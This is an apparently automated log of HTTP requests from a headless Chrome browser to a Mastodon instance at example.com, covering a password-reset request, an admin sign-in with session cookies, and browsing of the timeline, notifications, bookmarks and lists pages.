{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=uI%2BJbpntJBTB6fbn6N1mQIMyFngCoyGh4xPbuheZgFu9hc35yo2ry2OEJ6PURZIoQdC5X76YOOatVLfdQOZsmdFEiEFo1YPpqda1x8Of2eksflmrzKDVVajQ2CIppm3cS0MR6WJSPH7Vp9hDBD3U4L3xe5e0S1EHR3AN2uW8FYAnxZA5VScmcta1e4cdNXQYATYRShOA6TPoh9IZqoQBEEZGuv1EDlHS%2Fu%2FTRAxn2Qo4l%2FzTcucWDRq%2F4gsA7s9tdU8SrsvwNRc%2Bz%2BKNIMiDiKEVRCuh%2BEQ%2Few%3D%3D--te09A8TdGyjRQryO--HlwNLJKT2Y1NN%2FPpenYjOg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 150", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=tK17FZfnsNGmfgp5g3yygZyIZhAlUySr3oCJVeLEyEN2vMOmcbZjI4vJeHrdrnUOgEjTFHfnqNel%2BuvWe1xkga9HBnKGZAg2fVxiVB51qjHbSqwJtWWXPbWJmE42%2Br93hAmO5a9m6Eq9J9UKaDhtg%2Bdi%2F4QjfI47AQBAC5VorkIAOKFS%2BgodC8ZmiwEfaKmt1ZrLYq7LbS%2BPKZq1u2EeIS5zsHGMmNBZKLIPPNPv9lBueoqEluQtsdYWxsiPitgQ6o%2Bpzsfk0c6q3tU%2FxCSmk2PHthvJdrr3wQ%3D%3D--nattG4n8ZzPDvFuE--tnSiSmZJb1h8kLZ7JpXiYQ%3D%3D"], "body": "authenticity_token=dGH0Rtc_mPEzBPXi7x2dxU2LHEX8Q6p87yFwjDFLHwu2_iXowjtGuoybsROnRAN6LbTINkxk5zhaB6xSROqkGg&user%5Bemail%5D=nobody%40example.com&button="}
|
||||||
|
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=LgPurskyAR3GEmHSy%2BxSW7e%2F6bC3cGLJXHHTQY568jHH6xxcE2wxGfPIjNX26itedY98EhR5N8QN7%2FMTemz1JRbhyQ%2F%2Bi0IStWJ8OzICHhz3446gouG1g%2Bei0GpJtyUOMd0%2B2Rr%2BLM7sRYXeE3IPW3LzX2ykCyN4cxZQkVUFQ7y8O7PR9RZw%2FOd1NkY9%2B82XibUC89vjQaBTdETk0zzgQzCLurDdnmtJkKU31Vh3dyeeHa63pmqmDtlRGRWjAVJT0M%2BXk0ki7YNTVLq4uWGHVJ6q6TeO2BswEA%3D%3D--kjzl6yjAEI1NOCBX--YIQZP8uv8I1mkb2GTcSrbA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 196", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=Q7HoiTX%2BcJm9LXv%2BhZYGxZRXindYZ%2FDJ0HYdn7ur0GUl42m3edTDwwrcxhU9yoS8yxdqRLgaTk0jP3qinG8UASlcPHDXXeyeCdAHpahqiZ%2Fuxmn10PLbClbOHHUfVCemrKfDz56jtrpEa65rc5q8AjDXHUh5gkaw5lhA9zzWv0j%2FamxGUGqybsxH%2F3trfw%2FSeDymUXhySPdfidMuBWMEfTn8P7Yd8CWYKmyy0lx0hcPs%2FyR%2FWfaSgyJK%2FiBylbIcOkgK2Mg7mbLEo8qihGgVORLgG22E5%2BxOCA%3D%3D--BmwNr8ZWAKQMuKjM--CImc0jei8FFJeru5Z7tbMQ%3D%3D"], "body": "authenticity_token=tYbEcCSCu_h8rdEZMghnMlgWjAfdQqHTHZTziWCpLDGY4jaY_4SFkQ8H3ExPvU0CrjiKVBmqAYLTIfSNHXZxQA&user%5Bemail%5D=admin%40example.com&user%5Bpassword%5D=Notes+on+python3+and+ls+-la&button="}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNjQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28d48911bed2da76e657cfd48585158534d5c47a; _mastodon_session=YOrx89o7qjhKPvfEpdmJdg570269f7aSZUML40W%2BlW%2Fubs3xwgoch4q6AM6Xg32%2Fg8exFZkHUcCpsL0Giy7MTzZtWxBlZf%2F5I9GiyuFtlESBUtdEqkP4Z4KrT8%2Fg2omaV31xIX%2FzBgvIKVAfLuVT9qYDlW%2Fc75Set4vCcT5iavNtARnC6D5zDbrQ2LKim4q0R7PxXwig%2BurKNmOXTX%2BkXRjGWCd53iA4MDZv9epg0PHiOaeEm2mSGNXj9B0UWAemSPAKe7fhjrde1fvntrmpl4%2FWRY8HD27UsA%3D%3D--%2BsgIH0y6zLs7lrky--UaPVyEFTlgr4bA1SqWGzmQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuNzY0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c181d84aa265551b1780d27b3a76d7cbab01297; _mastodon_session=TQU0aHRupi%2FO1r4Sxmv5u0NmPDuoFmGlYx%2BVd0gkNyNuJjnokw4P2gab2wy2odvAiO1pb1tsNmi3Qdfsa8AwhL6XftfrqXGEF7jOqES4u%2FaPRaXGJSiKVxpx9rnZsFuXt3RLE7n5b7BpCo2aGAhgj6A%2FXbtz2KZlcc46LCsYn4v4GXf8nmjT60UsJCRwFZGe7sxa3IgN5hS6nBq%2Fnet2iiLuEIJYN6mQlsCfN%2BMCX49ea94HlP2MU51C45bAQ25hajhf%2BCtJkfEUHl1q%2FDGzeuUpHCsc1Pz2pA%3D%3D--%2BE9%2FnPiju%2BohhYYJ--qZsWuPtrWuSNcuYoMrq71w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzQ6NTkuODIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4351c8afb92d6b2c0536b7020c45f811d629a802; _mastodon_session=K1pk1JTWWlVjT11oK%2Fq%2FfGE4Tx32aDJODVBDx8MFp3AV%2FQj58i27HoeIwY49AI6q1bprv5%2Br9gKrof7XsNxxn5tReXkM4n7Jcmts2tou3D1rJtq6c5hIPDWF7eD69SfvreRcAttD6o1Iz9btDMOpfQKBn0%2Fp%2BLOj8rB3Dn%2FZfCIYNy3rfI9NODy1NL3IXRpeihMBQlQRmOUjdmYJxyj69u0xn7YhP2LtcaxoqYztqE4iZvUcq5smR2MCrZeORpTRGgXgYsXI6faap9sY0yo8ozRFCgz2mwnAxFqW3sE%2FHza7dmSwTWdTb%2FydJN1dtG5hDfwSfrNKP2q2ejGMH8hm%2BihQp658MA3VzU6CYhzzZmVXykA73YDKeKPzBP9%2F2B0DTgtwJKcF5OZs--vZgFBAv%2BiCLnYPwl--gb7SPq6pMfnQ0SQ73wsbDQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6c78b7fb3bec1ce605d39ee0aef03bde18540ca3; _mastodon_session=VIe15oPh2vxBOI2mENddhE8dwJu5zLG%2BNqG6TNxbzJ8rkncq%2FBoXLq%2BmSlA3%2FylpwLFu5CL%2FDFN3RLAfslhJFo%2FUAzoM8wHyLdXdIBga49tivHH9vPIaMRiibFeEtyBo71FfXm5dEcVO0r7ChYQgY5X%2FgMip3Y9xmlUrkB%2FIlNF58vmJNKqa87toSjsiFZRA28t77CmZ1CLdSD9wh0JwGnJI49bASQo9l8cM268Not5IOziRQbiRgnJ%2FpIA8rm80N9GZRrh2RJsnR0EMKjOLXCky7aEKGpD7QiawHibgQxFoxgtoYq30CxwONb7nJG%2FkVC0NGE1AzMty2NehgFea%2FNxInqKbZh1RGM8QmDyB3c5tR3E5RA97cjxAO7hNK7x5lnECUl6nYA1s--v%2FKn7kQWQ6mlSdW4--4ZtgcqEPjqZKHhpphX1Hig%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3e621804b83e419e53240da45526963a03c5ebf; _mastodon_session=czJbA3y3k%2F1WDIHXTgXGCFLjJqzqNZJUS0RyxOagay9LjMXrSZk2z5HAC8YWgvfh6oSiD8XgcSb1rTO5kLsRomQLim0I0Z17ZDkJQnBo4UPW5MwJAOuuibdQJMMUm%2B79UjMOAdd9Hm%2BSPtHBq1XtuinptVeUko%2Brorb4WdC8pkNfedJK9D5W9WQuJLWdwhiCkKl19YAduVSOOuoCQGBhZHHoFzoRairx5rQANN1do7uHQ7Cqk8wukXAIezbN22svCTlBpL7R1zur%2FDYfQcap1NrMzMMLc8POt4296FMtGcXwqlwmy7PloAwcV1A50r%2BcZz%2FGehul21iSzHg5JsYuv%2Fkx8JiC43grUgIk4ZeitYCEZlRMEV3Mrw8iKKyEcTCOa4tlNxYbZXxr--7RU2Oc651EV%2BHj2h--Ut842kXYyHeUza298GjX2w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDIuNTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--87c3afaae3eaa8e0f540d7c72e6743cd8faf095b; _mastodon_session=Z%2FHxCqyWviABD16R7qGKiqAzID3lMEE480qUb40hJSW1AUNBQ8Pp4RneLTa5z3wqN3KDhvDf5WG8IOLjQyLqtWq0dreNkLQdPlisYhOdgXYZ0YknJ%2FJEuLDNFCteVDZfp4PZ6IaLQwn5grrGnEc5mli16xZo7I5yoOM2N%2FAgdtVI8C41B3e1AAoVgvz1VxFGVG4CFbJ4CWroiu5FASt9GCkk1f0dAKo6DXFTTF7fgmn%2Fb9DmaaGpwqPYMozL2SaG8Py9rolQ%2By6PAsVu4f1XZk2mcktwFoLom46o5k82NnDMQCdBNp7ywCN2Xr4U%2ByXOa%2Flp%2FEGbVN2Xqj2LisdGh1kgh80RftAz%2BLZgHKnoFQ5ZqarigOc3MUF26%2FO5p7Alk0vFylpe7Ok8--7XAIk5WiJgkyFfel--Wr8qrB8%2B1iphsrudj%2FhYlw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/bookmarks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDMuNzU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea6b466b8bec4c76412ea4a453e6e6cb17a2a16d; _mastodon_session=uMUdA%2FZkUkIsNTcVm5xNFIbkbY41NVjWKNyV7YM7HWBVbM%2BXhhlbMDrlKhs0GBtNydUCkCSIet2vRVFxBfagocRCw8T5j%2FQDI2ByYL9q6zyFLNVNcGfODdXNheb9NV96v%2BFpp3FV9a30%2BVL4tU%2FPmgt%2B6iYEWOSM9g7%2FYkfm0mxMYSzZ29D%2BeXPcuz%2B1wWAqc1zaukNeOWnmNhNYtCXo0q9MxihMjcMm7xFFCXYNVNnu0X9EJgiYPEgkH4TY4CjY29vym9wwd8xXRS0WdLV94ip0jYWT%2BpQEM6wAu%2B070nk2mF66vynvSqkQi22UzIREgWqXh2USzb1MwDTrDcA6unybeuT5357hsJ5GFgPGvmdo8UV1RGvR8%2FB4yxXnLbw5p6Vt690htq2n--QbvMozOJikK6v%2F4q--z34wtSG4CMOivJpbIXuB3w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/favourites", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDQuNTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ca0811041e2ee1dabbec4dd3c33287b25a24d15; _mastodon_session=xhHtAPWb1ZbYiwaWMeVqvRpUHosArXY%2FcQmAJD%2FL51LEbm7fcnnTquyiysgc24SNdNyBfmqoCp%2BlohPcmCAnX1GoUj7b5vvuUF9qPoxYquUAuIkZewOpvCQrWp0ga%2Fpg%2BchB%2BaHLQCe3IckkPOYomof7Y46mb3p%2FlwnXqXDapaG1%2Brp7%2B2OMlw3xxymiAnG4s6onZnkIHPmlKJtUaNJ6YvdcVya6o%2FQcKG0D4KHi7Tgx3xdjecSaWnBe8cI7VK19K8xSsndQGf84lgsd2KZPfSi5TvSdzRjwbbu%2Bnp%2B6SdiOKtA%2Bc9lDienbQIO%2FemBPP%2BJ2EEUZhKv8M7ldavyvmfRh%2FPXtqwsH2XPrb5gPVz2IMJALA12%2BKZJLJvRZWNCA7pYtQyqC1ljJ--2Yf%2BI%2FF8Bu1VJ%2Bzl--SrSqiXumHyabScDav1Fx6A%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDUuNzE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ee5965103010e030cb0396380e7fbdec6617dcf; _mastodon_session=o3o%2FRFcyn%2BuuRiRl%2BSzOyChXsAViWJDFgDlwwu2e%2BJqAEJ6Bfb625g44ZGp7BzWmaI7D7eC6cnB5nYEzoa7c06DnqbW7uolbIZqNDvUjjI%2FtjOo3kwYI%2BkesIiLuoRQXT9uFqOgh8mhPYTYUyegGAP%2B7uEBHINnLMy3G%2FchGWI2%2BijGs1Rac%2BDuLFrD0Jus9SMmzQ7WIg8nIhALr2hrtuWBqhc7gZdH0dKdEj%2FFIx1DBlaUJA1L1Mx2Y7NbKVmPtzLoLt%2BcuwDjPedtKDB%2FhDoZ99fJ%2FS4nojcOoHlMAdL2%2By%2BfWbyZgAhilVO3F%2FAuZE3aFvSn50qIPSrfTr%2BHiAh3hasypCP3%2BDofzTfh6hrRu4np1t%2Bv2HEy%2BtIOxg1lqLdDW3fjtB9Ky--oXM4vBYbsNosJhp3--ACHEkQQO%2FxMEq%2BStXAcOPQ%3D%3D"], "body": ""}
|
||||||
|
